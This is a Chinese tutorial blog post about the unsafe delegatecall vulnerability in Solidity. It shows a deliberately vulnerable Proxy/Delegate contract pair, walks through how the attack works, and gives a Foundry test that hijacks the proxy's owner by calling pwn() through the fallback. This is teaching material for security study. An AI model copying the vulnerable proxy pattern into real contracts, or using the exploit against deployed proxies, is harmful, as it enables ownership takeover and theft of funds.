当前位置: 首页 > article >正文

区块链安全常见的攻击——不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)【3】

区块链安全常见的攻击合约和简单复现,附带详细分析——不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)【3】

1、不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)

1.1 漏洞合约

contract Proxy {
    address public owner = address(0xdeadbeef); // slot0
    Delegate delegate;

    constructor(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
    }

    fallback() external {
        (bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerable
        require(suc, "Delegatecall failed");
    }
}

contract Delegate {
    address public owner; // slot0

    function pwn() public {
        owner = msg.sender;
    }
}

1.2 漏洞分析

fallback函数:fallback 是 Solidity 中的特殊函数,用于接收不存在的函数调用或以太币转账。标记为 payable 时,可接收以太币;
delegatecall 和 call: 都用于调用其他合约,但区别在于执行上下文:delegatecall 在调用者的上下文中执行代码,修改调用者的存储,并保持 msg.sender 为原调用者;而 call 在目标合约的上下文中执行代码,修改目标合约的存储,msg.sender 是调用者。delegatecall 常用于代理模式,而 call 用于普通合约交互。

delegatecall(msg.data)使得用户可以触发fallback来调用delegatecall,而delegatecall`允许在代理合约的上下文中执行被调用合约的代码,
在这里插入图片描述

1.3 攻击分析

攻击者触发Proxy合约的fallback函数,同时附带data,data是调用pwn函数
以此调用delegatecall函数,调用的时候会将data传入msg.data参数
最后delegatecall函数会调用Delegate合约中的pwn()函数

  1. 触发 Proxy 合约的 fallback 函数: 攻击者对 Proxy 合约发送一次调用,并附带调用数据(data),该数据是pwn() 函数的函数选择器(通过 abi.encodeWithSignature(“pwn()”) 生成)。
  2. 进入 fallback 函数逻辑: fallback 函数被触发后,调用数据(data)通过 msg.data 参数传递给函数内部。
  3. 执行 delegatecall: fallback 函数使用 delegatecall,将 msg.data 传递给 Delegate合约。 delegatecall 在 Proxy 合约的上下文中执行 Delegate 合约的 pwn() 函数。
  4. 调用 Delegate.pwn() 函数: 在 delegatecall 的执行中,Delegate 合约的 pwn() 函数被调用。因为 delegatecall 在调用者(Proxy)的存储上下文中运行,pwn() 函数中的 owner 实际指向的是 Proxy合约的存储槽。

1.4 攻击合约

contract ContractTest is Test {
    Proxy proxy; // 代理合约实例
    Delegate DelegateContract; // 逻辑合约实例
    address alice; // 模拟的攻击者地址

    // 设置测试环境
    function setUp() public {
        alice = vm.addr(1); // 初始化 Alice 地址
    }

    // 测试 Delegatecall 漏洞
    function testDelegatecall() public {
        DelegateContract = new Delegate(); // 部署逻辑合约
        proxy = new Proxy(address(DelegateContract));

        console.log("Alice address", alice); // 打印 Alice 地址
        console.log("DelegationContract owner", proxy.owner()); // 打印代理合约的初始所有者地址
        console.log("Start Attack ...");
        vm.prank(alice);
        address(proxy).call(abi.encodeWithSignature("pwn()"));
        // address(proxy).call(abi.encodeWithSignature("pwn()")); // Proxy 的 fallback 通过 delegatecall 调用 Delegate合约的pwn()函数

        console.log("after attack, DelegationContract owner", proxy.owner()); // 打印攻击后代理合约的初始所有者地址
    }
}

在这里插入图片描述


http://www.kler.cn/a/405953.html

相关文章:

  • 大数运算(加减乘除和输入、输出模块)
  • 深入探究蓝牙节能技术:SNIFF与HOLD模式
  • 电子电气架构 ---漫谈车载网关
  • 医工交叉入门书籍分享:Transformer模型在机器学习领域的应用|个人观点·24-11-22
  • 基于RTEMS项目学习waf build system
  • 理解设计模式与 UML 类图:构建稳健软件架构的基石
  • 类和对象( 中 【补充】)
  • 关于xftp7 的中文乱码问题
  • C语言执行Lua进行错误处理
  • FPGA 14 ,硬件开发板分类详解,FPGA开发板与普通开发板烧录的区别
  • 优化 Spring Boot 性能
  • ubuntu22.04 android studio老卡
  • 滚珠导轨在极端温度下性能如何?
  • redis6.0之后的多线程版本的问题
  • 泷羽sec学习打卡-网络七层杀伤链1
  • 基于Java Springboot甘肃“印象”网站
  • 机器学习阶段学习Day31
  • 最长回文子串
  • 动态规划 —— 子数组系列-环绕字符串中唯⼀的子字符串
  • 工业相机视场角计算
  • java版工程项目管理系统源码:Spring Cloud与前后端分离的完美结合
  • 可视化建模与UML《协作图实验报告》
  • 五天SpringCloud计划——DAY2之单体架构和微服务架构的选择和转换原则
  • 人工智能在金融领域的应用与风险防范研究
  • java基础概念38:正则表达式3-捕获分组
  • 利用c语言详细介绍下选择排序